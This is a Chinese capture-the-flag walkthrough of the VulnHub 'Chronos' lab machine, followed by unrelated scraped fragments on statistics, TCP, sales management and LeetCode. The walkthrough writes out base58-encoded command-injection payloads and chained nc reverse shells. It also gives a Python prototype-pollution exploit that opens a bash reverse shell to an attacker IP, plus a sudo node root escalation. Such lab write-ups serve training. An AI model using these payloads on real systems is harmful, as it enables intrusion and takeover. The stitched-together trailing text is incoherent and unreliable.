1)靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
2)靶机难度:中(构思非常巧妙)
3)打靶目标: 取得 2 个 flag + root 权限
4)涉及攻击方法:端口扫描、WEB侦查、命令注入、数据编解码、搜索大法、框架漏洞利用、代码审计、NC串联、本地提权
5)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
6)参考链接:
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/
1)主机发现:本次使用netdiscover进行主机发现,该工具原理和arp-scan、arping原理一样,但命令使用格式不同。建议该工具扫描时在真实的子网掩码数-8,效果更好
# netdiscover -r 192.168.56.0/16

2)对发现的主机进行全端口扫描
# nmap -p- 192.168.56.110

3)对发现的端口进行服务版本等信息扫描
# nmap -p22,80,8000 -sV 192.168.56.110

8000端口开放了一个http服务,但是服务端使用了Node.js开发技术,并结合了Express框架
4)使用浏览器访问目标主机的80端口及8000端口
①访问80端口:打开后页面很简单
浏览器:http://192.168.56.110/

注:当页面无法搜集到有用信息时,可以进行网站路径扫描(爬站),把隐藏路径或者隐藏文件爬取出来;另外也可以查看网页源代码(ctrl +U),查看有无隐藏的接口、脚本、表单等
②查看当前页面源码,未发现隐藏的url地址及页面资源,但是发现了一段脚本,包含在了script标签下

<script>
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
</script>
③通过查看脚本代码发现,该脚本中包括函数名称和变量名称都是通过编码处理到,导致无法直接分析出代码的含义,此时对javascript代码进行还原美化及整理,可使用cyberchef在线工具,该工具可以针对各种计算机数据类型来做编码、解码、还原、解密等相关操作
A:工具地址:https://cyberchef.cn/
B:使用方法:左侧为模块名称,使用相应模块时,先进行搜索,将模块拖入Recipe后,在Input输入需要解码的代码及字符串。例如:此处使用针对javascript做代码美化的模块,对上述代码进行美化操作

④经过简单美化后的代码,虽然格式整齐了,但是因为函数名称等字符被编码,仍然无法正常读取,出于渗透高效的目的,将重点关注代码中比较容易识别或者一眼看起来就有问题的元素,本段代码中大部分内容都是通过编码处理的,都不太好读取,只有一段URL比较容易读取
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
分析:
chronos为靶机的名称
local代表本机
8000端口:通过前面端口扫描发现,在本机也开放了8000端口
此时可怀疑chronos.local这个域名可能指向了目标主机的IP地址,则有理由怀疑在当前页面加载的过程中,可能会去访问该URL地址,来获取某些页面资源,来放置到页面中

⑤为解析上述域名,在hosts文件中进行解析
# vi /etc/hosts
192.168.56.110 chronos.local


⑥因域名已可正常解析,再次加载页面,查看页面或者源代码是否发送变化:可以发现已正常的显示出了资源
浏览器:http://192.168.56.110/

⑦通过burp,在刷新页面时,将整个页面加载过程全部进行抓取,即访问了哪些地址,加载了哪些资源全部进行记录

⑧通过查看数据包发现,当修改format后的参数后,则无法返回正常的时间


⑨此时就需要对format后的字符进行转发,查看到底是什么内容。通过字符特点可怀疑是base64的编码,将该行字符在cybershef进行转码,此时使用magic模块,可以对其进行转码(magic模块表示当不知道字符是什么编码类型生成时,该模块可以进行简单分析)
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
编码后:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
编码前:'+Today is %A, %B %d, %Y %H:%M:%S.'

⑩对该明文进行分析,发现该明文是date命令的时间格式
# date '+Today is %A, %B %d, %Y %H:%M:%S.'

5)通过上述验证,可猜测该web应用程序在进行请求服务端数据时,服务端执行的就是该操作系统命令。既然执行了操作系统指令,是否可以通过命令注入的方式通过一些连接符(如|、 ||、 &&)向该变量中注入其他的系统命令
|| 前面命令执行不成功,才会执行后面命令
&& 前面命令执行正确,才会执行后面命令

6)通过之前的URL可知,注入的命令也必须要通过base58编码,才能被目标系统所接受。所以此时要通过cyberchef 工具,将要注入的命令转化为base58编码后的字符
Input: &&ls
Output:5Jdixo4

7)将编码后的字符,在数据包中进行提交:发现确实存在命令注入漏洞

8)在目标系统执行反弹shell的命令,此时使用nc工具进行反弹shell,因为nc命令使用广泛,很可能在目标主机默认就存在该工具
①查看主机是否具有nc工具
编码前:&& ls /bin
编码后:39JyvVr3FjbwAV


查找发现,目标服务器确实存在nc命令
②测试nc命令是否可正常执行,该版本是否有-e参数
编码前:&& nc 192.168.56.103 4444
编码后:GMKWwmxeCKrzqcoDwLeaRS6LtNATnW7thR

kali主机进行监听:
# nc -lvvp 4444
burp虽然返回了错误的信息,但是kali主机确显示连接成功,说明目标服务器上存在nc,而且nc是可以正常建立网络连接的


③确定该nc版本是否有-e参数进行连接
编码前:&& nc 192.168.56.103 4444 -e /bin/bash
编码后:6eK5JFNT7CahVhdM6iDKHY4Q4b7Knp1DuphZrm7gM2b6zDfbCQPR



发送数据包后,发现并不能建立连接,说明该版本nc参数并不包含-e参数,所以只能够采用nc串联的方式进行连接
④通过nc串联的方式进行反弹shell
编码前:&& nc 192.168.56.103 4444 | /bin/bash |nc 192.168.56.103 5555
编码后:WqfXccLfYcuHA6xfwxPgwNU15RA9eAb3P97ZEaZqLpANPu4v7rLTaYetgKEGVY78ptWsqq8aWa4QkbmVpm2


⑤kali进行监听:会话1输入的命令返回的数据就会显示在会话2
会话1:
# nc -lvvp 4444
会话2:
# nc -lvvp 5555

9)反弹shell获取到的权限为www-data用户权限,对当前用户所处的主机进行大量信息搜集,查看是否有敏感目录,flag文件或者其他用户
①在用户文件中发现了imera用户
cat /etc/passwd |grep /bin/bash

②进入该用户的家目录发现了一个user.txt文件,但是无权限打开(只有imera用户才能对看文件进行读取)
cd /home
ls
cd imera
ls
cat user.txt
ls -l

③对当前用户进行提权:
A:基于内核漏洞进行提权,查看内核版本为4.15,针对该版本查到提权漏洞代码,并未发现可用的

B:查看是否具备SUID权限配置上的错误,也为发现任何的suid权限文件
#find / -perm +4000 -user root -type f -print
#find / -perm +4000 -user imera -type f -print
C:当前用户也无发现任何sudo权限
#sudo -l
10)发现无法提权以后,再次进行大量信息搜集(收集的信息越多,渗透思路越多),搜集发现在网站目录下存在js代码。此处是通过Node.js可进行服务端web程序开发
cd /opt
cd chronos
ls

基于Node.js开发出的应用程序,通常都是基于已有的框架库进行开发,完全使用Node.js开发应用程序难度较高,Node.js常用于开发web应用程序所使用的框架为Express框架(express是一款基于Node.js平台,快速、开放、极简的web开发框架)。在该靶机对web应用程序的源码进行代码审计
11)先查看package.json,因为几乎所有的基于Node.js开发出的项目中,根目录下都包含package.json文件,该文件一般定义了当前项目所需要的模块、框架等
#cat package.json

查看发现,该项目依赖了bs58库(即base58编码解码等)、cors库、express框架
12)查看app.js代码
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
通过代码分析,发现开发者只是对常见的渗透测试命令进行了检测,但是并未阻断
13)继续通过信息搜集,发现在上级目录,即/opt目录下,存在另外一个应用程序chronos-v2,进入其后端目录backend后,继续查看package.json模块应用配置文件,发现该应用程序服务端主程序为server.js、通过node server.js进行启动这个web应用,ejs表示嵌入式的javascript模板,同样使用了express库,并且从express-fileupload库可猜测既然有文件上传功能,那是否可以通过文件上传,上传一个webshell

14)查看chronos-v2该应用程序服务端主程序源码:发现该应用程序启动在127.0.0.1:8000地址上,这也是为什么前面端口扫描时未发现8000端口开放原因。这个应用只监听在127.0.0.1上,即只有本机才能访问这个应用的8000端口
#cat server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
15)通过搜索引擎发现,express-fileupload模块存在一个漏洞(原型污染漏洞,可致Web应用程序遭受DoS和远程Shell攻击)

在如下链接中找到了漏洞利用代码
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/

16)根据实际情况,修改漏洞利用代码
# cat exp.py
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/7777 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')

17)将该漏洞利用代码传输到目标靶机进行运行
①kali主机开启http服务
# python3 -m http.server 80
②目标主机下载exp.py漏洞利用代码,并利用
cd /tmp
wget http://192.168.56.103/exp.py
ls
python3 exp.py

③在kali监听7777端口
# nc -lvvp 7777

18)根据前期信息搜集,发现在imera用户的家目录之下存在一个user.txt的flag文件
#cd /home/imera
#ls
#cat user.txt

19)对当前imera用户进行提权,通过sudo -l 查看当前用户存在sudo权限:该用户可通过root用户,执行node命令
$ sudo -l

20)通过node命令进行提权,获取到root用户flag
$ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

总结:针对靶机先进行了主机发现、端口扫描、应用发现等基本操作,然后在web页面发现了奇怪的域名,于是进行了名的绑定,并在域名绑定后查看到了页面的变化,通过对页面源码的分析,找出了javascript的脚本,然后发现了经过base58编码的字符,通过对字符还原的分析,发现了命令注入漏洞,进而通过base58编码注入命令,对目标系统执行了命令注入,获得了一个基础的nc反弹shell。通过搜索找当了目标系统上应用的一个框架的漏洞,利用漏洞利用代码进行了利用,提权。
一、知识框架二、练习题调节一个装瓶机使其对每个瓶子的灌装量均值为μ盎司,通过观察这台装瓶机对每个瓶子的灌装量服从标准差σ=1.0盎司的正态分布。随机抽取这台机器灌装的9个瓶子组成一个样本,并测定每个瓶子的灌装量。试确定样本均值偏离总体均值不超过0.3盎司的概率。解:设每个瓶子的灌装量为X,X为样本均值,样本容量为n。由于总体X服从正态分布,样本均值X也服从正态分布,且均值相同,标准差为所以三、简述题1什么是统计量?为什么要引进统计量?统计量中为什么不含任何未知参数?答:(1)统计量的定义:设X1,X2,…,Xn是从总体X中抽取的容量为n的一个样本,如果由此样本构造一个函数T(X1,X2,…,X
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、TCP/IP协议五层协议栈;1.1应用层协议;二、传输层协议;2.1UDP协议;2.2TCP协议; 2.2.3序号2.3UDP和TCP协议传输的区别;2.4超时重传;2.5连接管理(面试中最高频的问题.网络知识中,最最高频的考题,没有之一!!!)2.5.1建立连接(“三次握手”)2.5.2断开连接(“四次挥手”)2.5.3三次握手;四次挥手总结;2.6滑动窗口2.7流量控制2.8拥塞控制2.9流量控制和拥塞控制的联系;2.10延时应答;2.11捎带应答2.22面向字节流2.23TCP连接出现异常时,如何处
第三部分同欲“上下同欲者胜”,同结果、共承担,不仅是打造销售铁军军魂的必要条件,也能让成员们对每个结果负责,更好更快实现目标。第六章有凝聚力才有战斗力管理者有担当才能上下齐心苦劳是自己的,功劳是团队的做管理者,就要做好承受苦劳奉献功劳的心理准备学会治疗自己和别人的伤口作为一名合格的销售管理者,在困难到来时不仅要学会安抚他人,也要懂得安抚自己。只有在困难面前稳定住团队的情绪,才能将困难带来的负面影响降到最低。治疗自己的伤口:痛定思痛,伤口因何而来?治疗别人的伤口:抚慰军心,重整旗鼓再出发任何人的错都是你的错团队成功时,管理者要把荣誉给到团队;团队失败时,一切刚好相反,责任永远都要归给管理者自己。
欢迎回到:遇见蓝桥遇见你,不负代码不负卿!目录一、简单模拟栗子:换酒问题栗子:按奇偶排序数组栗子:害死人不偿命的(3n+1)猜想栗子:挖掘机技术哪家强二、查找元素栗子:找x三、图形输出栗子:跟奥巴马一起编程四、日期处理栗子:日期差值五、进制转换栗子:D进制的A+B六、字符串处理栗子:回文串栗子:说反话七、蓝桥结语:遇见蓝桥遇见你,不负代码不负卿!【前言】之前有铁汁要求将入门部分也更新一下,比如简单模拟,简单数学部分,这两块在蓝桥杯中考的都不难,但是特别重要,就像我们高考的时候数学试题那前五道选择题,前两道填空题一样,属于送分题,但是对于马虎的同学是致命的,所以要上心哦,这部分内容没有涉及算法,
2022(第六届)中国城市轨道交通智慧运维大会在西安顺利举行。此次大会由现代轨道交通网联合中国机械工程学会设备智能运维分会主办,西安市轨道交通集团有限公司运营分公司、轨道交通工程信息化国家重点实验室(中铁一院)协办。来自行业学会、地铁运营单位、设计院、企业等800余位专家代表围绕运维模式、关键技术的探索、智能运维系统、智慧车站建设等展开充分交流和研讨。作为第六届中国城市轨道交通智慧运维大会的受邀展商,图扑软件为国内外千余家企业、行业专家领导、参展客户呈现了Web端的UI/2D/3D、GIS、BIM及VR/AR等可视化相关解决方案。助力城市轨道交通新升级随着城市轨道交通运营规模的迅速扩展和信息化
Python入门到精通【精品】第六章-函数1.如何理解函数2.函数的定义3.函数的使用3.1.函数的调用3.2.实参与形参3.3.函数的返回3.4.完整的函数设计3.5.位置参数和关键参数1.如何理解函数当你第一次接触到“函数”这个概念的时候,你肯定会不由自主的联想到数学里面也有函数的这个概念。那不得不说这两个概念其实也有共通之处。例如我们都知道数学的函数就是我们传入一个自定义值,就会根据特定的数学算法返回一个结果给我们。那Python中的函数也是类似的概念。我们把代码封装在函数里面,通过传入特定的值返回特定的结果。2.函数的定义def函数名(形式参数): 函数体☝️实例:
我想验证电话号码。唯一有效的电话号码是这样开头的:+3620|+3630|+3631|+3670我的代码看起来像这样,但现在您可以输入我想避免的+3621或+3671。如何检查两位数?比如70或30。$phone='+36701234567';if(preg_match('|^\+36[237][01][1-9][0-9]{2}[0-9]{2}[0-9]{2}$|',$phone)){echo'phonenumberisgood';} 最佳答案 如果你想要一些非常具体的数字:/^\+36(20|30|31).../如您所见,使用集合
修剪二叉搜索树题目详细:LeetCode.669做这道题之前建议先看视频讲解,没有想象中那么复杂:代码随想录—修剪二叉搜索树由题可知,需要删除节点值不在区间内的节点,所以可以得到三种情况:情况一:root.val情况二:root.val>high情况三:low当节点满足情况一和情况二的条件时,删除该节点但被删除节点的子树可能存在值在区间内的节点,利用二叉搜索树的特点可得:情况一:root.val情况二:root.val>high,root左子树上的节点值都比root.val小,右子树上的节点值都比root.val大,所以满足区间的节点只会在左子树上出现,递归修剪其左子树并返回新的子节点情况三:
我是Java的新手。作为我的第一个项目,我将使用cron作业调度程序。我想澄清一下日程安排。我有一个每小时运行一次的代码。CronTriggerct=newCronTrigger("cronTrigger","group2","01/0***?");我已经阅读了有关调度的文档,但我感到困惑在一份文件中,我阅读如下("00***?")第一个0表示秒第二个表示分钟第3小时每月的哪一天哪个月的5号。在一些文件中我读到1st表示分钟2nd-小时等谁能给我解释一下这个(01/0***?)以及它的含义(1/0)?我想每六个小时运行一次作业。如果我这样给出(0*/6***?)它是否会每六个小时运行一
代码随想录算法训练营第六天|454.四数相加II,383.赎金信,15.三数之和,18.四数之和。454.四数相加II383.赎金信15.三数之和18.四数之和454.四数相加II题目链接:454.四数相加II,难度:中等【实现代码】classSolution{public:intfourSumCount(vectorint>&nums1,vectorint>&nums2,vectorint>&nums3,vectorint>&nums4){intn=nums1.size();intresult=0;unordered_mapint,int>m;intsum;for(inti=0;in;i++